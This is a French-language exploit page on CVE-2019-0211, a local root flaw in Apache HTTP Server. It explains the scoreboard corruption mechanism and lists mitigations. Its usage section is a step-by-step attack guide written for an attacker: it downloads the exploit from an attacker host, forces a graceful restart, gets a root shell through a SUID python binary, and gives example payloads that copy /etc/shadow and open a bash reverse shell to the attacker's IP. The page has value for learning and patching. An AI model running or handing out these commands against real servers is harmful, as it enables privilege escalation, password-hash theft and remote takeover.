CVE-2019-0211 — Apache HTTP Server Local Privilege Escalation (CARPE DIEM)

Description

CVE-2019-0211 est une vulnérabilité d'élévation de privilèges locale affectant Apache HTTP Server entre les versions 2.4.17 et 2.4.38 avec mod_prefork et mod_php (ou PHP-FPM).

La vulnérabilité permet à un attaquant disposant d'un shell en tant que www-data d'élever ses privilèges à root via une combinaison d'Use-After-Free (UAF) dans PHP et de corruption du scoreboard d'Apache. Lorsqu'Apache effectue un graceful restart (par exemple, via logrotate à 6h25), il exécute child_init() avant d'abandonner les privilèges. Si nous parvenons à corrompre le pointeur vers cette fonction, nous pouvons faire exécuter à Apache une commande arbitraire en tant que root.

CVSS 3.1 : 7.8 (HIGH) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Détails Techniques

Mécanisme

Apache utilise une région de mémoire partagée appelée scoreboard où chaque processus fils worker possède une structure process_score avec un pointeur bucket vers prefork_child_bucket. Ce bucket contient un apr_proc_mutex_t avec des pointeurs vers des fonctions (meth->child_init()).

Lorsqu'Apache effectue un graceful restart (déclenché naturellement à 6h25 par logrotate), il appelle child_init() avant d'abandonner les privilèges. L'exploit :

1. Provoque un UAF dans PHP en manipulant des objets DateInterval et la sérialisation JSON
2. Obtient une primitive de lecture/écriture arbitraire en mémoire
3. Lit /proc/self/maps pour localiser le scoreboard (SHM dans /dev/zero)
4. Trouve la structure all_buckets dans la mémoire d'Apache
5. Écrase les buckets avec une charge utile qui redirige meth->child_init() vers system()
6. Lors du prochain redémarrage, Apache exécute la charge utile en tant que root

Exploit

Auteur original

Charles Fol — @cfreal_

Article original : CARPE DIEM — CVE-2019-0211 Apache Local Root

Prérequis

• Apache HTTP Server 2.4.17 – 2.4.38 avec mod_php (PHP 7.x)
• Shell en tant que www-data sur le serveur
• Capacité d'écrire un fichier .php dans un répertoire servi par Apache

Utilisation

# 1. Envoyer l'exploit sur le serveur vulnérable
# Depuis votre machine attaquante :
python3 -m http.server 8080
# Sur le serveur (en tant que www-data) :
cd /var/www/html
wget http://VOTRE_IP:8080/carpediem.php

# 2. Exécuter l'exploit
curl http://localhost/carpediem.php

# 3. Attendre qu'Apache fasse un graceful restart
# Option A) Attendre 6h25 (logrotate automatique)
# Option B) Forcer logrotate si vous avez les droits :
sudo /usr/sbin/logrotate /etc/logrotate.conf --force

# 4. Vérifier que python3.5 est maintenant SUID root
ls -la /usr/bin/python3.5
# Sortie attendue : -rwsr-sr-x 2 root root ...

# 5. Élever les privilèges à root
python3.5 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Charge utile personnalisée

Vous pouvez changer la commande exécutée en tant que root en utilisant le paramètre cmd :

# Exemple : copier /etc/shadow
curl "http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/"

# Exemple : reverse shell
curl "http://localhost/carpediem.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/VOTRE_IP/PORT+0>%261'"

Taux de réussite

Plus de workers = taux de réussite plus élevé.

Atténuation

• Mettre à jour Apache HTTP Server vers la version ≥ 2.4.39
• Migrer de MPM prefork vers MPM event (moins de surface d'attaque dans le scoreboard)
• Restreindre l'accès à /proc/self/maps via hidef ou AppArmor/SELinux

Références

• NVD — CVE-2019-0211
• Article CARPE DIEM — Charles Fol
• Exploit sur GitHub — cfreal/exploits
• Exploit-DB #46676
• Bulletins de sécurité Apache